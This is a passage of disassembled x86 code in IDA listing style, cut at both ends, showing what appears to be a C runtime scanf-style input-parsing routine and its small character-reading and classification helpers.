and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41B3E7: ; CODE XREF: sub_41B320+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_435E38, 1 jle short loc_41B404 movzx eax, bl push 4 push eax call sub_41BDD1 pop ecx pop ecx jmp short loc_41B413 ; --------------------------------------------------------------------------- loc_41B404: ; CODE XREF: sub_41B320+D3j mov ecx, off_435C2C movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41B413: ; CODE XREF: sub_41B320+E2j test eax, eax jz short loc_41B429 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41B48E ; --------------------------------------------------------------------------- loc_41B429: ; CODE XREF: sub_41B320+F5j cmp ebx, 4Eh jg short loc_41B46C jz short loc_41B48E cmp ebx, 2Ah jz short loc_41B467 cmp ebx, 46h jz short loc_41B48E cmp ebx, 49h jz short loc_41B449 cmp ebx, 4Ch jnz short loc_41B47B inc [ebp+var_D] jmp short loc_41B48E ; --------------------------------------------------------------------------- loc_41B449: ; CODE XREF: sub_41B320+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41B47B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41B47B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41B48E ; --------------------------------------------------------------------------- loc_41B467: ; CODE XREF: sub_41B320+113j inc [ebp+var_E] jmp short loc_41B48E ; --------------------------------------------------------------------------- loc_41B46C: ; CODE XREF: sub_41B320+10Cj cmp ebx, 68h jz short loc_41B488 cmp ebx, 6Ch jz short loc_41B480 cmp ebx, 77h jz short loc_41B483 loc_41B47B: ; CODE XREF: sub_41B320+122j ; sub_41B320+12Dj ... inc [ebp+var_F] jmp short loc_41B48E ; --------------------------------------------------------------------------- loc_41B480: ; CODE XREF: sub_41B320+154j inc [ebp+var_D] loc_41B483: ; CODE XREF: sub_41B320+159j inc [ebp+var_5] jmp short loc_41B48E ; --------------------------------------------------------------------------- loc_41B488: ; CODE XREF: sub_41B320+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41B48E: ; CODE XREF: sub_41B320+107j ; sub_41B320+10Ej ... cmp [ebp+var_F], 0 jz loc_41B3E7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41B4B3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41B4B3: ; CODE XREF: sub_41B320+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41B4D1 mov al, [esi] cmp al, 53h jz short loc_41B4CD cmp al, 43h jz short loc_41B4CD or [ebp+var_5], 0FFh jmp short loc_41B4D1 ; --------------------------------------------------------------------------- loc_41B4CD: ; CODE XREF: sub_41B320+1A1j ; sub_41B320+1A5j mov [ebp+var_5], 1 loc_41B4D1: ; CODE XREF: sub_41B320+19Bj ; sub_41B320+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41B50A cmp esi, 63h jz short loc_41B4FB cmp esi, 7Bh jz short loc_41B4FB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41BDAD pop ecx jmp short loc_41B506 ; --------------------------------------------------------------------------- loc_41B4FB: ; CODE XREF: sub_41B320+1C5j ; sub_41B320+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41BD7C loc_41B506: ; CODE XREF: sub_41B320+1D9j pop ecx mov [ebp+var_14], eax loc_41B50A: ; CODE XREF: sub_41B320+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41B51A cmp [ebp+var_C], eax jz loc_41BCF6 loc_41B51A: ; CODE XREF: sub_41B320+1EFj cmp esi, 6Fh jg loc_41B781 jz loc_41BA33 cmp esi, 63h jz loc_41B75E cmp esi, 64h jz loc_41BA33 jle loc_41B7AB cmp esi, 67h jle short loc_41B57E cmp esi, 69h jz short loc_41B566 cmp esi, 6Eh jnz loc_41B7AB cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41BC61 jmp loc_41BC87 ; --------------------------------------------------------------------------- loc_41B566: ; CODE XREF: sub_41B320+229j push 64h pop esi loc_41B569: ; CODE XREF: sub_41B320+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41B7F3 mov [ebp+var_17], 1 jmp loc_41B7F8 ; --------------------------------------------------------------------------- loc_41B57E: ; CODE XREF: sub_41B320+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41B59A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41B59F ; --------------------------------------------------------------------------- loc_41B59A: ; CODE XREF: sub_41B320+26Aj cmp ebx, 2Bh jnz short loc_41B5B6 loc_41B59F: ; CODE XREF: sub_41B320+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41BD7C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B5B9 ; --------------------------------------------------------------------------- loc_41B5B6: ; CODE XREF: sub_41B320+27Dj mov edi, [ebp+arg_0] loc_41B5B9: ; CODE XREF: sub_41B320+294j cmp [ebp+var_20], 0 jz short loc_41B5C8 cmp [ebp+var_C], 15Dh jle short loc_41B5CF loc_41B5C8: ; CODE XREF: sub_41B320+29Dj mov [ebp+var_C], 15Dh loc_41B5CF: ; CODE XREF: sub_41B320+2A6j ; sub_41B320+2F2j cmp dword_435E38, 1 jle short loc_41B5E4 push 4 push ebx call sub_41BDD1 pop ecx pop ecx jmp short loc_41B5EF ; --------------------------------------------------------------------------- loc_41B5E4: ; CODE XREF: sub_41B320+2B6j mov eax, off_435C2C mov al, [eax+ebx*2] and eax, 4 loc_41B5EF: ; CODE XREF: sub_41B320+2C2j test eax, eax jz short loc_41B614 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B614 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41BD7C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B5CF ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B320+2D1j ; sub_41B320+2DBj cmp byte_435E3C, bl jnz short loc_41B682 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B682 inc [ebp+var_4] push edi call sub_41BD7C mov ebx, eax mov al, byte_435E3C mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41B63D: ; CODE XREF: sub_41B320+360j cmp dword_435E38, 1 jle short loc_41B652 push 4 push ebx call sub_41BDD1 pop ecx pop ecx jmp short loc_41B65D ; --------------------------------------------------------------------------- loc_41B652: ; CODE XREF: sub_41B320+324j mov eax, off_435C2C mov al, [eax+ebx*2] and eax, 4 loc_41B65D: ; CODE XREF: sub_41B320+330j test eax, eax jz short loc_41B682 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B682 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41BD7C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B63D ; --------------------------------------------------------------------------- loc_41B682: ; CODE XREF: sub_41B320+2FAj ; sub_41B320+304j ... cmp [ebp+var_1C], 0 jz loc_41B71A cmp ebx, 65h jz short loc_41B69A cmp ebx, 45h jnz loc_41B71A loc_41B69A: ; CODE XREF: sub_41B320+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B71A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41BD7C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41B6C1 mov [esi], al inc esi jmp short loc_41B6C6 ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B320+39Aj cmp ebx, 2Bh jnz short loc_41B6E4 loc_41B6C6: ; CODE XREF: sub_41B320+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41B6D5 and [ebp+var_C], eax jmp short loc_41B6E4 ; --------------------------------------------------------------------------- loc_41B6D5: ; CODE XREF: sub_41B320+3AEj ; sub_41B320+3F8j inc [ebp+var_4] push edi call sub_41BD7C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B6E4: ; CODE XREF: sub_41B320+3A4j ; sub_41B320+3B3j cmp dword_435E38, 1 jle short loc_41B6F9 push 4 push ebx call sub_41BDD1 pop ecx pop ecx jmp short loc_41B704 ; --------------------------------------------------------------------------- loc_41B6F9: ; CODE XREF: sub_41B320+3CBj mov eax, off_435C2C mov al, [eax+ebx*2] and eax, 4 loc_41B704: ; CODE XREF: sub_41B320+3D7j test eax, eax jz short loc_41B71A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B71A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41B6D5 ; --------------------------------------------------------------------------- loc_41B71A: ; CODE XREF: sub_41B320+366j ; sub_41B320+374j ... dec [ebp+var_4] push edi push ebx call sub_41BD96 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41BD26 cmp [ebp+var_E], 0 jnz loc_41BC87 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_435BF0 add esp, 0Ch jmp loc_41BC87 ; --------------------------------------------------------------------------- loc_41B75E: ; CODE XREF: sub_41B320+20Cj cmp [ebp+var_20], eax jnz short loc_41B76D inc [ebp+var_C] mov [ebp+var_20], 1 loc_41B76D: ; CODE XREF: sub_41B320+441j cmp [ebp+var_5], 0 jle short loc_41B777 mov [ebp+var_16], 1 loc_41B777: ; CODE XREF: sub_41B320+451j mov edi, offset asc_435C28 ; "]" jmp loc_41B88C ; --------------------------------------------------------------------------- loc_41B781: ; CODE XREF: sub_41B320+1FDj mov eax, esi sub eax, 70h jz loc_41BA2F sub eax, 3 jz loc_41B87D dec eax dec eax jz loc_41BA33 sub eax, 3 jz loc_41B569 sub eax, 3 jz short loc_41B7CF loc_41B7AB: ; CODE XREF: sub_41B320+21Bj ; sub_41B320+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41BCF6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41BC87 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41BC87 ; --------------------------------------------------------------------------- loc_41B7CF: ; CODE XREF: sub_41B320+489j cmp [ebp+var_5], 0 jle short loc_41B7D9 mov [ebp+var_16], 1 loc_41B7D9: ; CODE XREF: sub_41B320+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41B890 mov eax, edi lea edi, [eax+1] jmp loc_41B88C ; --------------------------------------------------------------------------- loc_41B7F3: ; CODE XREF: sub_41B320+24Fj cmp ebx, 2Bh jnz short loc_41B81A loc_41B7F8: ; CODE XREF: sub_41B320+259j dec [ebp+var_C] jnz short loc_41B809 cmp [ebp+var_20], 0 jz short loc_41B809 mov [ebp+var_F], 1 jmp short loc_41B81A ; --------------------------------------------------------------------------- loc_41B809: ; CODE XREF: sub_41B320+4DBj ; sub_41B320+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41BD7C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B81A: ; CODE XREF: sub_41B320+4D6j ; sub_41B320+4E7j cmp ebx, 30h jnz loc_41BA68 push [ebp+arg_0] inc [ebp+var_4] call sub_41BD7C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41B868 cmp bl, 58h jz short loc_41B868 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41B852 push 6Fh loc_41B84C: ; CODE XREF: sub_41B320+55Bj pop esi jmp loc_41BA68 ; --------------------------------------------------------------------------- loc_41B852: ; CODE XREF: sub_41B320+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41BD96 pop ecx pop ecx push 30h pop ebx jmp loc_41BA65 ; --------------------------------------------------------------------------- loc_41B868: ; CODE XREF: sub_41B320+517j ; sub_41B320+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41BD7C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41B84C ; --------------------------------------------------------------------------- loc_41B87D: ; CODE XREF: sub_41B320+46Fj cmp [ebp+var_5], 0 jle short loc_41B887 mov [ebp+var_16], 1 loc_41B887: ; CODE XREF: sub_41B320+561j mov edi, offset asc_435C20 ; " \t-\r]" loc_41B88C: ; CODE XREF: sub_41B320+45Cj ; sub_41B320+4CEj or [ebp+var_18], 0FFh loc_41B890: ; CODE XREF: sub_41B320+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_415CA0 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41B8B4 cmp byte ptr [edi], 5Dh jnz short loc_41B8B4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41B8B7 ; --------------------------------------------------------------------------- loc_41B8B4: ; CODE XREF: sub_41B320+584j ; sub_41B320+589j mov dl, [ebp+var_35] loc_41B8B7: ; CODE XREF: sub_41B320+592j ; sub_41B320+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41B91C inc edi cmp al, 2Dh jnz short loc_41B903 test dl, dl jz short loc_41B903 mov cl, [edi] cmp cl, 5Dh jz short loc_41B903 inc edi cmp dl, cl jnb short loc_41B8D6 mov al, cl jmp short loc_41B8DA ; --------------------------------------------------------------------------- loc_41B8D6: ; CODE XREF: sub_41B320+5B0j mov al, dl mov dl, cl loc_41B8DA: ; CODE XREF: sub_41B320+5B4j cmp dl, al ja short loc_41B8FF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41B8E7: ; CODE XREF: sub_41B320+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41B8E7 loc_41B8FF: ; CODE XREF: sub_41B320+5BCj xor dl, dl jmp short loc_41B8B7 ; --------------------------------------------------------------------------- loc_41B903: ; CODE XREF: sub_41B320+5A0j ; sub_41B320+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41B8B7 ; --------------------------------------------------------------------------- loc_41B91C: ; CODE XREF: sub_41B320+59Bj cmp byte ptr [edi], 0 jz loc_41BD26 cmp [ebp+var_3C], 7Bh jnz short loc_41B92E mov [ebp+arg_4], edi loc_41B92E: ; CODE XREF: sub_41B320+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41BD96 pop ecx pop ecx loc_41B945: ; CODE XREF: sub_41B320+6BCj ; sub_41B320+6C4j cmp [ebp+var_20], 0 jz short loc_41B959 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41B9F5 loc_41B959: ; CODE XREF: sub_41B320+629j inc [ebp+var_4] push edi call sub_41BD7C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41B9E9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41B9E9 cmp [ebp+var_E], 0 jnz short loc_41B9E1 cmp [ebp+var_16], 0 jz short loc_41B9D6 mov ecx, off_435C2C mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41B9B5 inc [ebp+var_4] push edi call sub_41BD7C pop ecx mov [ebp+var_37], al loc_41B9B5: ; CODE XREF: sub_41B320+686j push dword_435E38 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_41E709 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41B9D9 ; --------------------------------------------------------------------------- loc_41B9D6: ; CODE XREF: sub_41B320+673j mov [esi], al inc esi loc_41B9D9: ; CODE XREF: sub_41B320+6B4j mov [ebp+var_2C], esi jmp loc_41B945 ; --------------------------------------------------------------------------- loc_41B9E1: ; CODE XREF: sub_41B320+66Dj inc [ebp+var_30] jmp loc_41B945 ; --------------------------------------------------------------------------- loc_41B9E9: ; CODE XREF: sub_41B320+649j ; sub_41B320+667j dec [ebp+var_4] push edi push eax call sub_41BD96 pop ecx pop ecx loc_41B9F5: ; CODE XREF: sub_41B320+633j cmp [ebp+var_30], esi jz loc_41BD26 cmp [ebp+var_E], 0 jnz loc_41BC87 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41BC87 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41BA27 and word ptr [eax], 0 jmp loc_41BC87 ; --------------------------------------------------------------------------- loc_41BA27: ; CODE XREF: sub_41B320+6FCj and byte ptr [eax], 0 jmp loc_41BC87 ; --------------------------------------------------------------------------- loc_41BA2F: ; CODE XREF: sub_41B320+466j mov [ebp+var_D], 1 loc_41BA33: ; CODE XREF: sub_41B320+203j ; sub_41B320+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41BA41 mov [ebp+var_17], 1 jmp short loc_41BA46 ; --------------------------------------------------------------------------- loc_41BA41: ; CODE XREF: sub_41B320+719j cmp ebx, 2Bh jnz short loc_41BA68 loc_41BA46: ; CODE XREF: sub_41B320+71Fj dec [ebp+var_C] jnz short loc_41BA57 cmp [ebp+var_20], 0 jz short loc_41BA57 mov [ebp+var_F], 1 jmp short loc_41BA68 ; --------------------------------------------------------------------------- loc_41BA57: ; CODE XREF: sub_41B320+729j ; sub_41B320+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41BD7C pop ecx mov ebx, eax loc_41BA65: ; CODE XREF: sub_41B320+543j mov [ebp+var_14], ebx loc_41BA68: ; CODE XREF: sub_41B320+4FDj ; sub_41B320+52Dj ... cmp [ebp+var_30], 0 jz loc_41BB81 cmp [ebp+var_F], 0 jnz loc_41BB5F loc_41BA7C: ; CODE XREF: sub_41B320+82Cj cmp esi, 78h jnz short loc_41BAD0 cmp dword_435E38, 1 jle short loc_41BA99 push 80h push ebx call sub_41BDD1 pop ecx pop ecx jmp short loc_41BAA6 ; --------------------------------------------------------------------------- loc_41BA99: ; CODE XREF: sub_41B320+768j mov eax, off_435C2C mov al, [eax+ebx*2] and eax, 80h loc_41BAA6: ; CODE XREF: sub_41B320+777j test eax, eax jz loc_41BB51 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_41EA40 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41BD45 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41BB23 ; --------------------------------------------------------------------------- loc_41BAD0: ; CODE XREF: sub_41B320+75Fj cmp dword_435E38, 1 jle short loc_41BAE5 push 4 push ebx call sub_41BDD1 pop ecx pop ecx jmp short loc_41BAF0 ; --------------------------------------------------------------------------- loc_41BAE5: ; CODE XREF: sub_41B320+7B7j mov eax, off_435C2C mov al, [eax+ebx*2] and eax, 4 loc_41BAF0: ; CODE XREF: sub_41B320+7C3j test eax, eax jz short loc_41BB51 cmp esi, 6Fh jnz short loc_41BB0E cmp ebx, 38h jge short loc_41BB51 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_41EA40 jmp short loc_41BB1D ; --------------------------------------------------------------------------- loc_41BB0E: ; CODE XREF: sub_41B320+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_417E10 loc_41BB1D: ; CODE XREF: sub_41B320+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41BB23: ; CODE XREF: sub_41B320+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41BB3B dec [ebp+var_C] jz short loc_41BB5F loc_41BB3B: ; CODE XREF: sub_41B320+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41BD7C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41BA7C ; --------------------------------------------------------------------------- loc_41BB51: ; CODE XREF: sub_41B320+788j ; sub_41B320+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41BD96 pop ecx pop ecx loc_41BB5F: ; CODE XREF: sub_41B320+756j ; sub_41B320+819j cmp [ebp+var_17], 0 jz loc_41BC45 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41BC45 ; --------------------------------------------------------------------------- loc_41BB81: ; CODE XREF: sub_41B320+74Cj cmp [ebp+var_F], 0 jnz loc_41BC3D loc_41BB8B: ; CODE XREF: sub_41B320+90Aj cmp esi, 78h jz short loc_41BBCF cmp esi, 70h jz short loc_41BBCF cmp dword_435E38, 1 jle short loc_41BBAA push 4 push ebx call sub_41BDD1 pop ecx pop ecx jmp short loc_41BBB5 ; --------------------------------------------------------------------------- loc_41BBAA: ; CODE XREF: sub_41B320+87Cj mov eax, off_435C2C mov al, [eax+ebx*2] and eax, 4 loc_41BBB5: ; CODE XREF: sub_41B320+888j test eax, eax jz short loc_41BC2F cmp esi, 6Fh jnz short loc_41BBC8 cmp ebx, 38h jge short loc_41BC2F shl edi, 3 jmp short loc_41BC07 ; --------------------------------------------------------------------------- loc_41BBC8: ; CODE XREF: sub_41B320+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41BC07 ; --------------------------------------------------------------------------- loc_41BBCF: ; CODE XREF: sub_41B320+86Ej ; sub_41B320+873j cmp dword_435E38, 1 jle short loc_41BBE7 push 80h push ebx call sub_41BDD1 pop ecx pop ecx jmp short loc_41BBF4 ; --------------------------------------------------------------------------- loc_41BBE7: ; CODE XREF: sub_41B320+8B6j mov eax, off_435C2C mov al, [eax+ebx*2] and eax, 80h loc_41BBF4: ; CODE XREF: sub_41B320+8C5j test eax, eax jz short loc_41BC2F push ebx shl edi, 4 call sub_41BD45 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41BC07: ; CODE XREF: sub_41B320+8A6j ; sub_41B320+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41BC19 dec [ebp+var_C] jz short loc_41BC3D loc_41BC19: ; CODE XREF: sub_41B320+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41BD7C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41BB8B ; --------------------------------------------------------------------------- loc_41BC2F: ; CODE XREF: sub_41B320+897j ; sub_41B320+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41BD96 pop ecx pop ecx loc_41BC3D: ; CODE XREF: sub_41B320+865j ; sub_41B320+8F7j cmp [ebp+var_17], 0 jz short loc_41BC45 neg edi loc_41BC45: ; CODE XREF: sub_41B320+843j ; sub_41B320+85Cj ... cmp esi, 46h jnz short loc_41BC4E and [ebp+var_1C], 0 loc_41BC4E: ; CODE XREF: sub_41B320+928j cmp [ebp+var_1C], 0 jz loc_41BD26 cmp [ebp+var_E], 0 jnz short loc_41BC87 inc [ebp+var_34] loc_41BC61: ; CODE XREF: sub_41B320+23Bj cmp [ebp+var_30], 0 jz short loc_41BC77 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41BC87 ; --------------------------------------------------------------------------- loc_41BC77: ; CODE XREF: sub_41B320+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41BC84 mov [eax], edi jmp short loc_41BC87 ; --------------------------------------------------------------------------- loc_41BC84: ; CODE XREF: sub_41B320+95Ej mov [eax], di loc_41BC87: ; CODE XREF: sub_41B320+241j ; sub_41B320+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41BCD4 ; --------------------------------------------------------------------------- loc_41BC92: ; CODE XREF: sub_41B320+93j inc [ebp+var_4] push edi call sub_41BD7C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41BD01 mov ecx, off_435C2C movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41BCD4 inc [ebp+var_4] push edi call sub_41BD7C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41BD0F dec [ebp+var_4] loc_41BCD4: ; CODE XREF: sub_41B320+970j ; sub_41B320+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41BCEA cmp byte ptr [esi], 25h jnz short loc_41BD2C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41BD2C mov esi, eax loc_41BCEA: ; CODE XREF: sub_41B320+9B8j mov al, [esi] test al, al jnz loc_41B34A jmp short loc_41BD26 ; --------------------------------------------------------------------------- loc_41BCF6: ; CODE XREF: sub_41B320+1F4j ; sub_41B320+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41BD06 ; --------------------------------------------------------------------------- loc_41BD01: ; CODE XREF: sub_41B320+98Aj dec [ebp+var_4] push edi push ebx loc_41BD06: ; CODE XREF: sub_41B320+9DFj call sub_41BD96 pop ecx pop ecx jmp short loc_41BD26 ; --------------------------------------------------------------------------- loc_41BD0F: ; CODE XREF: sub_41B320+9AFj dec [ebp+var_4] push edi push eax call sub_41BD96 dec [ebp+var_4] push edi push ebx call sub_41BD96 add esp, 10h loc_41BD26: ; CODE XREF: sub_41B320+1Fj ; sub_41B320+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41BD3D loc_41BD2C: ; CODE XREF: sub_41B320+9BDj ; sub_41B320+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41BD40 cmp [ebp+var_15], al jnz short loc_41BD40 or eax, 0FFFFFFFFh jmp short loc_41BD40 ; --------------------------------------------------------------------------- loc_41BD3D: ; CODE XREF: sub_41B320+A0Aj mov eax, [ebp+var_34] loc_41BD40: ; CODE XREF: sub_41B320+A11j ; sub_41B320+A16j ... pop edi pop esi pop ebx leave retn sub_41B320 endp ; =============== S U B R O U T I N E ======================================= sub_41BD45 proc near ; CODE XREF: sub_41B320+7A3p ; sub_41B320+8DCp arg_0 = dword ptr 4 cmp dword_435E38, 1 push esi jle short loc_41BD5F mov esi, [esp+4+arg_0] push 4 push esi call sub_41BDD1 pop ecx pop ecx jmp short loc_41BD6E ; --------------------------------------------------------------------------- loc_41BD5F: ; CODE XREF: sub_41BD45+8j mov esi, [esp+4+arg_0] mov eax, off_435C2C mov al, [eax+esi*2] and eax, 4 loc_41BD6E: ; CODE XREF: sub_41BD45+18j test eax, eax jnz short loc_41BD78 and esi, 0FFFFFFDFh sub esi, 7 loc_41BD78: ; CODE XREF: sub_41BD45+2Bj mov eax, esi pop esi retn sub_41BD45 endp ; =============== S U B R O U T I N E ======================================= sub_41BD7C proc near ; CODE XREF: sub_41B320+1E1p ; sub_41B320+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41BD8E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41BD8E: ; CODE XREF: sub_41BD7C+7j push edx call sub_41C031 pop ecx retn sub_41BD7C endp ; =============== S U B R O U T I N E ======================================= sub_41BD96 proc near ; CODE XREF: sub_41B320+6Bp ; sub_41B320+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41BDAC push [esp+arg_4] push [esp+4+arg_0] call sub_41EA5F pop ecx pop ecx locret_41BDAC: ; CODE XREF: sub_41BD96+5j retn sub_41BD96 endp ; =============== S U B R O U T I N E ======================================= sub_41BDAD proc near ; CODE XREF: sub_41B320+63p ; sub_41B320+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41BDB3: ; CODE XREF: sub_41BDAD+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41BD7C mov edi, eax push edi call sub_41E8A4 pop ecx test eax, eax pop ecx jnz short loc_41BDB3 mov eax, edi pop edi pop esi retn sub_41BDAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BDD1 proc near ; CODE XREF: sub_416C44+17p ; sub_416C44+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41BDEF mov ecx, off_435C2C movzx eax, word ptr [ecx+eax*2] jmp short loc_41BE41 ; --------------------------------------------------------------------------- loc_41BDEF: ; CODE XREF: sub_41BDD1+10j mov ecx, eax push esi mov esi, off_435C2C sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41BE14 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41BE1D ; --------------------------------------------------------------------------- loc_41BE14: ; CODE XREF: sub_41BDD1+33j and [ebp+var_3], 0 mov 